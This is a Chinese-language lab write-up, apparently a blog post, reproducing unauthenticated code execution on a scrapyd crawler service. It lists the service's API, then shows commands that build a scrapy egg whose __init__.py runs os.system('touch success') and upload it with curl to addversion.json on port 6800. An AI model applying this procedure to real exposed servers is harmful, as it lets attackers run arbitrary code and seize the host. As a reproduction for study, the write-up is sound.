1.简介
scrapyd是爬虫框架scrapy提供的云服务,用户可以部署自己的scrapy包到云服务,默认监听在6800端口。如果攻击者能访问该端口,将可以部署恶意代码到服务器,进而获取服务器权限。
2.环境搭建
通过docker进行环境搭建
3.漏洞利用
首先,需要明确的是攻击流程:
用户输入的URL被交给部署在scrapyd上的爬虫进行爬取,爬虫调用了Chrome渲染页面,并将结果中的链接返回给用户。
那么,这里重点就是scrapyd了。通过文档可知,scrapy是一个爬虫框架,而scrapyd是一个云服务,用户可以将自己用scrapy框架开发的爬虫上传到云端,然后通过Web API调用这个爬虫爬取信息。
scrapyd主要提供以下一些API:
- /daemonstatus.json 获取云服务的状态
- /addversion.json 上传一个新的爬虫项目,或者给一个已有的项目更新代码
- /schedule.json 执行一个爬取任务
- /cancel.json 停止并取消一个任务
- /listprojects.json 列出云端的所有项目
- /listversions.json 列出某个项目的所有代码版本
- /listspiders.json 列出一个项目下所有spider,spider这个概念是scrapy框架中的,一个scrapy开发的爬虫可以有多个spider
- /listjobs.json 列出所有任务,包括正在进行的、已完成的、等待执行的三个状态
- /delversion.json 删除某个项目下的某个代码版本
- /delversion.json 删除某个项目
简单来说,scrapyd云服务下可以有多个项目,每个项目下可以有多个代码版本,每个代码版本就是一个完整的scrapy项目,一个scrapy项目下可以有多个spider,最终执行的任务的载体是一个spider。
那么,也就是说,攻击者可以创建一个项目,并部署他自己的scrapy代码版本,将恶意代码部署到云端,进而对scrapyd云端进行攻击。
复现:
由图中可知,此时项目为空
然后,我们本地再安装scrapy框架,并创建一个scrapy项目:
pip install scrapy
scrapy startproject evil
生成了项目后,我们在evil/__init__.py
中加入恶意代码:
import os
os.system('touch success')
然后,我们用scrapyd-client这个工具,将项目打包成egg包。当然也可以自己用setuptools手工打包。
pip install scrapyd-client
scrapyd-deploy --build-egg=evil.egg
此时,恶意的egg包已经生成,然后我们将其部署到云端:
curl http://localhost:6800/addversion.json -F project=evil -F version=r01 -F egg=@evil.egg
成功部署:
进入容器查看:
发现已经成功部署,此时,touch success
已成功执行
请登录后查看回复内容